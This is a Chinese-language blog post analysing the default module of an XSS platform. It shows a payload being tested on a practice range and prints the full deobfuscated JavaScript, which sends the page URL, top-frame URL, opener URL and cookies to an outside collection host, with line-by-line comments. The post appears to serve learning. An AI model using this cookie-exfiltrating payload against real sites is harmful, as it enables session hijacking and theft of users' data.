xss平台模块代码分析--默认模块

这里写目录标题

攻击实列

1. 首先创建一个模块

在这里插入图片描述

在这里插入图片描述
首次分析,就只选用一个模块,点击下方下一步后。
项目已经创建完毕,下方也有详细的使用教程。
在这里插入图片描述

2.先进行使用看下效果。
就使用第一个payload,很明显该payload是访问**//xsshs.cn/F6uJ**这个网址,

//xsshs.cn/F6uJ此方式书写会自动根据网站选择http,还是https

在这里插入图片描述

我们打开这个网址,发现就是上方的代码
在这里插入图片描述

因此,我们的目标就是,让目标网页访问我们的链接,
靶场测试

在这里插入图片描述

成功获取

在这里插入图片描述

代码分析

对代码进行整理后

(function () {
     //escape() 对符号(空格,标点...),中文进行编码
    (new Image()).src = 'https://xsshs.cn/xss.php?do=api&id=wIV7&location=' + escape((function () {
        //try  catch  异常处理
        try {
        	// document.location.href 获取目标的来源地址
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function () {
        try {
            //top.location.href 控制框架页面跳转
            return top.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape((function () {
        try {
            //document.cookie  获取cookie
            return document.cookie
        } catch (e) {
            return ''
        }
    })()) + '&opener=' + escape((function () {
        try {
            //&&与操作
            //三元表达式 (判别式) ? (expr2) : (expr3)
            //如果判别式为真则之为expr2  反之为  expr3
            return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
        } catch (e) {
            return ''
        }
    })());
})();
//一直没看明白,这一步的作用,,,
if ('' == 1) {
    keep = new Image();
    keep.src = 'https://xsshs.cn/xss.php?do=keepsession&id=wIV7&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

立即执行函数
话说这是什么写法呢?
在这里插入图片描述

  //立即执行函数:不需要调用立即执行
        //有两种写法

        //1.法一  (function(){})()
        //例子:
        (function (a, b) {
            console.log(a + b);
        })(1, 2); //第二个小括号可以看作是调用函数

        //法二  (function(){}())
        //例子:
        (function (c, d) {
            console.log(c + d)
        }(3, 4));
        //立即执行函数最大的作用就是,独立创建了一个作用域,里面的所有变量都是局部变量不会有命名冲突

怎样获得公网IP的呢?

因为我们嵌入的是一个网址,当目标访问时是以公网ip访问的xss平台就可以记录器公网IP了。

关键函数解释:
Image(); 传送门
escape:传送门
document.location:传送门
top.location:传送门
document.cookie:传送门

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值